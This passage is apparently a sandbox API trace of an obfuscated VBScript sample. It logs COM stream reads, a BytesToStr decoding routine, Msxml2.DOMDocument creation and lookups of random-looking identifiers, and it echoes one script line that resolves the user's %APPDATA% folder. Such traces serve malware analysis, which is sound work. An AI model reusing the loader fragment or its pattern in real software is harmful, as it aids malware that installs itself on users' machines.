pDispParams=0x14bc48*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962bad0) returned 0x0 [0068.873] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0068.873] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0068.873] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=8) returned 0x0 [0068.873] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0068.873] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0068.873] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bc48*(rgvarg=([0]=0x14bb84*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x2b)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x14bb84*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x2b)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962bad0) returned 0x0 [0068.874] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0068.874] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.874] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.874] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.874] GetCurrentThreadId () returned 0xd44 [0068.874] IUnknown:Release (This=0x1197760) returned 0x8 [0068.874] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.875] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.875] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.875] GetCurrentThreadId () returned 0xd44 [0068.875] IUnknown:Release (This=0x1197760) returned 0x8 [0068.875] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.875] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.875] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.875] GetCurrentThreadId () returned 0xd44 [0068.875] IUnknown:Release (This=0x1197760) returned 0x8 [0068.876] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.876] malloc (_Size=0x804) returned 0x8790008 [0068.876] ??2@YAPAXI@Z () returned 0x1198d68 [0068.876] ??3@YAXPAX@Z () returned 0x1 [0068.876] malloc (_Size=0x204) returned 0x8790818 [0068.876] malloc (_Size=0x40) returned 0x1197880 [0068.876] malloc (_Size=0x11c) returned 0x1198d68 [0068.876] ??2@YAPAXI@Z () returned 0x11291c0 [0068.876] free (_Block=0x83d08e0) [0068.876] free (_Block=0x8790008) [0068.877] ??3@YAXPAX@Z () returned 0xffff0001 [0068.877] free (_Block=0x1197880) [0068.877] free (_Block=0x8790818) [0068.877] free (_Block=0x11c2300) [0068.877] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.877] ??2@YAPAXI@Z () returned 0x83fd610 [0068.877] IUnknown:AddRef (This=0x1197760) returned 0x9 [0068.877] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.877] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0068.877] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=19) returned 0x0 [0068.877] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0068.877] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0068.877] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x14b95c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="AllFata = shellobj.expandEnvironmentStrings(\" % APPD\" + \"ATA %\\\")", varVal2=0x0), pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0068.877] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0068.877] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0068.878] ??3@YAXPAX@Z () returned 0x840001 [0068.878] ??3@YAXPAX@Z () returned 0x4a0001 [0068.878] ??3@YAXPAX@Z () returned 0xffff0001 [0068.878] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.878] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.878] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.878] GetCurrentThreadId () returned 0xd44 [0068.878] IUnknown:Release (This=0x1197760) returned 0x8 [0068.879] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.879] malloc (_Size=0x804) returned 0x8790008 [0068.879] ??2@YAPAXI@Z () returned 0x1198d68 [0068.879] ??3@YAXPAX@Z () returned 0x1 [0068.879] malloc (_Size=0x204) returned 0x8790818 [0068.879] malloc (_Size=0x40) returned 0x1197880 [0068.879] malloc (_Size=0x104) returned 0x1198d68 [0068.879] ??2@YAPAXI@Z () returned 0x11291c0 [0068.879] free (_Block=0x83d08e0) [0068.879] free (_Block=0x8790008) [0068.879] ??3@YAXPAX@Z () returned 0xffff0001 [0068.879] free (_Block=0x1197880) [0068.879] free (_Block=0x8790818) [0068.879] free (_Block=0x11c2300) [0068.879] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.879] ??2@YAPAXI@Z () returned 0x83fd610 [0068.879] IUnknown:AddRef (This=0x1197760) returned 0x9 [0068.880] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0068.880] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0068.880] ??3@YAXPAX@Z () returned 0x840001 [0068.880] ??3@YAXPAX@Z () returned 0x4a0001 [0068.880] ??3@YAXPAX@Z () returned 0xffff0001 [0068.880] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.880] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.880] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.880] GetCurrentThreadId () returned 0xd44 [0068.881] IUnknown:Release (This=0x1197760) returned 0x8 [0068.881] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.881] malloc (_Size=0x804) returned 0x8790008 [0068.881] ??2@YAPAXI@Z () returned 0x1198d68 [0068.881] ??3@YAXPAX@Z () returned 0x1 [0068.881] malloc (_Size=0x204) returned 0x8790818 [0068.881] malloc (_Size=0x40) returned 0x1197880 [0068.881] malloc (_Size=0xd0) returned 0x1198d68 [0068.881] ??2@YAPAXI@Z () returned 0x11291c0 [0068.882] free (_Block=0x83d08e0) [0068.882] free (_Block=0x8790008) [0068.882] ??3@YAXPAX@Z () returned 0xffff0001 [0068.882] free (_Block=0x1197880) [0068.882] free (_Block=0x8790818) [0068.882] free (_Block=0x11c2300) [0068.882] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.882] ??2@YAPAXI@Z () returned 0x83fd610 [0068.882] IUnknown:AddRef (This=0x1197760) returned 0x9 [0068.882] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.882] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0068.882] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Close", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=11) returned 0x0 [0068.882] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0068.882] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0068.882] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0068.883] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0068.883] ??3@YAXPAX@Z () returned 0x840001 [0068.883] ??3@YAXPAX@Z () returned 0x4a0001 [0068.883] ??3@YAXPAX@Z () returned 0xffff0001 [0068.884] free (_Block=0x1197838) [0068.884] free (_Block=0x8444028) [0068.884] free (_Block=0x1198b58) [0068.884] free (_Block=0x8460768) [0068.884] ??3@YAXPAX@Z () returned 0xc80001 [0068.884] ??3@YAXPAX@Z () returned 0x360001 [0068.884] free (_Block=0x11977f0) [0068.884] free (_Block=0x1198748) [0068.884] free (_Block=0x11c20f0) [0068.885] free (_Block=0x83d71e0) [0068.885] ??3@YAXPAX@Z () returned 0xb60001 [0068.885] ??3@YAXPAX@Z () returned 0x3a0001 [0068.885] ??3@YAXPAX@Z () returned 0x7f0001 [0068.885] ??3@YAXPAX@Z () returned 0x200001 [0068.885] ??3@YAXPAX@Z () returned 0x740001 [0068.885] IUnknown:AddRef (This=0x1197760) returned 0x6 [0068.886] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.886] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.886] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.886] GetCurrentThreadId () returned 0xd44 [0068.886] IUnknown:Release (This=0x1197760) returned 0x6 [0068.886] ??2@YAPAXI@Z () returned 0x838c598 [0068.886] ??2@YAPAXI@Z () returned 0x1105c40 [0068.886] malloc (_Size=0x40) returned 0x11977f0 [0068.886] malloc (_Size=0x104) returned 0x83d71e0 [0068.886] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.886] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="cvbnm", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.886] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="cvbnm", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.886] GetCurrentThreadId () returned 0xd44 [0068.886] IUnknown:Release (This=0x1197760) returned 0x6 [0068.886] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.887] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="soswjwslvc", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.887] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="soswjwslvc", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.887] GetCurrentThreadId () returned 0xd44 [0068.887] IUnknown:Release (This=0x1197760) returned 0x6 [0068.887] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.887] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.887] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.887] GetCurrentThreadId () returned 0xd44 [0068.887] IUnknown:Release (This=0x1197760) returned 0x6 [0068.887] malloc (_Size=0x204) returned 0x11c1e90 [0068.887] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.887] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.887] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.887] GetCurrentThreadId () returned 0xd44 [0068.887] IUnknown:Release (This=0x1197760) returned 0x6 [0068.888] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.889] malloc (_Size=0x804) returned 0x8790008 [0068.889] ??2@YAPAXI@Z () returned 0x8460768 [0068.889] ??3@YAXPAX@Z () returned 0x1 [0068.889] malloc (_Size=0x40) returned 0x1197838 [0068.889] malloc (_Size=0x1c8) returned 0x11c20a0 [0068.889] ??2@YAPAXI@Z () returned 0x1129260 [0068.889] free (_Block=0x83d08e0) [0068.889] free (_Block=0x8790008) [0068.889] ??3@YAXPAX@Z () returned 0x740001 [0068.889] free (_Block=0x1197838) [0068.889] free (_Block=0x8790818) [0068.889] free (_Block=0x11c7d90) [0068.889] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.889] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.889] IUnknown:AddRef (This=0x1197760) returned 0x7 [0068.890] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x14be28 | out: lpclsid=0x14be28*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0068.890] SysStringLen (param_1=0x0) returned 0x0 [0068.890] CoGetClassObject (in: rclsid=0x14be28*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14be18 | out: ppv=0x14be18*=0x72b7d4b8) returned 0x0 [0068.890] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14be14 | out: ppvObject=0x14be14*=0x0) returned 0x80004002 [0068.890] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14be1c | out: ppvObject=0x14be1c*=0x5544f0) returned 0x0 [0068.890] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0068.890] DOMDocument:IUnknown:QueryInterface (in: This=0x5544f0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14bde0 | out: ppvObject=0x14bde0*=0x55451c) returned 0x0 [0068.890] ??2@YAPAXI@Z () returned 0x1112ae8 [0068.891] DOMDocument:IObjectWithSite:SetSite (This=0x55451c, pUnkSite=0x1112ae8) returned 0x0 [0068.891] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bc94 | out: ppvObject=0x14bc94*=0x0) returned 0x80004002 [0068.891] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bc84 | out: ppvObject=0x14bc84*=0x0) returned 0x80004002 [0068.891] DOMDocument:IUnknown:AddRef (This=0x1112ae8) returned 0x2 [0068.891] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bd44 | out: ppvObject=0x14bd44*=0x1112ae8) returned 0x0 [0068.891] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aca4 | out: ppvObject=0x14aca4*=0x1112ae8) returned 0x0 [0068.891] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac78 | out: ppvObject=0x14ac78*=0x0) returned 0x80004002 [0068.891] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac0c | out: ppvObject=0x14ac0c*=0x83fd480) returned 0x0 [0068.891] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ac08 | out: ppvObject=0x14ac08*=0x83fd490) returned 0x0 [0068.891] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac78 | out: ppvObject=0x14ac78*=0x0) returned 0x80004002 [0068.891] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.891] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.891] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14ac80 | out: ppvObject=0x14ac80*=0x0) returned 0x80004002 [0068.891] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac0c | out: ppvObject=0x14ac0c*=0x83fd480) 